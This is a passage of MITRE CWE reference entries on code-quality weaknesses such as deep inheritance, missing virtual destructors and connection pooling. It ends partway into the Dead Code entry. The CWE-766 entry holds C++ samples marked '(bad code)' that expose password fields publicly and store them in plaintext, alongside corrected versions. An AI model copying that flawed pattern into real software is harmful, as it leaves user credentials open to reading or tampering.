Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
A class contains an unnecessarily large number of children.
+ Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpetation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1093Excessively Complex Data Representation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1093Excessively Complex Data Representation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Maintainability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures - Maintainability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCMMASCMM-MNT-18
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-18. 2016-01. <http://www.omg.org/spec/ASCMM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1074: Class with Excessively Deep Inheritance

Weakness ID: 1074
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
A class has an inheritance level that is too high, i.e., it has a large number of parent classes.
+ Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpetation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1093Excessively Complex Data Representation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1093Excessively Complex Data Representation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Maintainability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures - Maintainability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCMMASCMM-MNT-17
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-17. 2016-01. <http://www.omg.org/spec/ASCMM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1087: Class with Virtual Method without a Virtual Destructor

Weakness ID: 1087
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
A class contains a virtual method, but the method does not have an associated virtual destructor.
+ Extended Description

This issue can prevent the software from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1076Insufficient Adherence to Expected Conventions
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1076Insufficient Adherence to Expected Conventions
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Reliability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCRMASCRM-RLB-15
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-15. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1063: Creation of Class Instance within a Static Code Block

Weakness ID: 1063
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
A static code block creates an instance of a class.
+ Extended Description

This pattern identifies situations where a storable data element or member data element is initialized with a value in a block of code which is declared as static.

This issue can make the software perform more slowly by performing initialization before it is needed. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1176Inefficient CPU Computation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1176Inefficient CPU Computation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-1
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-1. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1046: Creation of Immutable Text Using String Concatenation

Weakness ID: 1046
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software creates an immutable text string using string concatenation operations.
+ Extended Description

This programming pattern can be inefficient in comparison with use of text buffer data elements.

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1176Inefficient CPU Computation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1176Inefficient CPU Computation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-2
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-2. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-766: Critical Data Element Declared Public

Weakness ID: 766
Abstraction: Variant
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software declares a critical variable, field, or member to be public when intended security policy requires it to be private.
+ Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1061Insufficient Encapsulation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege / Sandbox Issues
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

C# (Undetermined Prevalence)

Java (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Read Application Data; Modify Application Data

Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.
Other

Technical Impact: Reduce Maintainability

+ Demonstrative Examples

Example 1

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

(bad code)
Example Language: C++ 
public: char* password;

Instead, the critical data should be declared private.

(good code)
Example Language: C++ 
private: char* password;

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

Example 2

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

(bad code)
Example Language: C++ 
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15

class UserAccount
{
public:
UserAccount(char *username, char *password)
{
if ((strlen(username) > MAX_USERNAME_LENGTH) ||
(strlen(password) > MAX_PASSWORD_LENGTH)) {
ExitError("Invalid username or password");
}
strcpy(this->username, username);
strcpy(this->password, password);
}


int authorizeAccess(char *username, char *password)
{
if ((strlen(username) > MAX_USERNAME_LENGTH) ||
(strlen(password) > MAX_PASSWORD_LENGTH)) {
ExitError("Invalid username or password");
}
// if the username and password in the input parameters are equal to

// the username and password of this account class then authorize access
if (strcmp(this->username, username) ||
strcmp(this->password, password))
return 0;

// otherwise do not authorize access
else
return 1;
}

char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
};

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

(good code)
Example Language: C++ 
class UserAccount
{
public:
...


private:
char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
};
+ Observed Examples
ReferenceDescription
variables declared public allows remote read of system properties such as user name and home directory.
+ Potential Mitigations

Phase: Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to protect stored data from modification
The CERT Oracle Secure Coding Standard for Java (2011)OBJ01-JDeclare data members as private and provide accessible wrapper methods
Software Fault PatternsSFP28Unexpected access points
OMG ASCMMASCMM-MNT-15
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-15. 2016-01. <http://www.omg.org/spec/ASCMM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2009-03-03CWE Content TeamMITRE
Modifications
Modification DateModifierOrganization
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, Description, Name, References, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
Previous Entry Names
Change DatePrevious Entry Name
2019-01-03Critical Variable Declared Public

CWE-1083: Data Access from Outside Expected Data Manager Component

Weakness ID: 1083
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.
+ Extended Description

When the software has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1061Insufficient Encapsulation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1061Insufficient Encapsulation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Reliability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCRMASCRM-RLB-10
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-10. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1057: Data Access Operations Outside of Expected Data Manager Component

Weakness ID: 1057
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.
+ Extended Description

This issue can make the software perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1061Insufficient Encapsulation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1061Insufficient Encapsulation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-11
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-11. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements

Weakness ID: 1043
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.
+ Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1093Excessively Complex Data Representation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1093Excessively Complex Data Representation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-12
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-12. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element

Weakness ID: 1098
Abstraction: Variant
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The code contains a data element with a pointer that does not have an associated copy or constructor method.
+ Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1076Insufficient Adherence to Expected Conventions
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1076Insufficient Adherence to Expected Conventions
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Reliability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCRMASCRM-RLB-6
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-6. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1072: Data Resource Access without Use of Connection Pooling

Weakness ID: 1072
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software accesses a data resource through a database without using a connection pooling capability.
+ Extended Description

This issue can make the software perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.405Asymmetric Resource Consumption (Amplification)
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.405Asymmetric Resource Consumption (Amplification)
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-13
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-13. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
[REF-974] Wikipedia. "Connection pool". <https://en.wikipedia.org/wiki/Connection_pool>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-561: Dead Code

Weakness ID: 561
Abstraction: Variant
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software contains dead code, which can never be executed.
+ Extended Description
Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.
+ Relationships

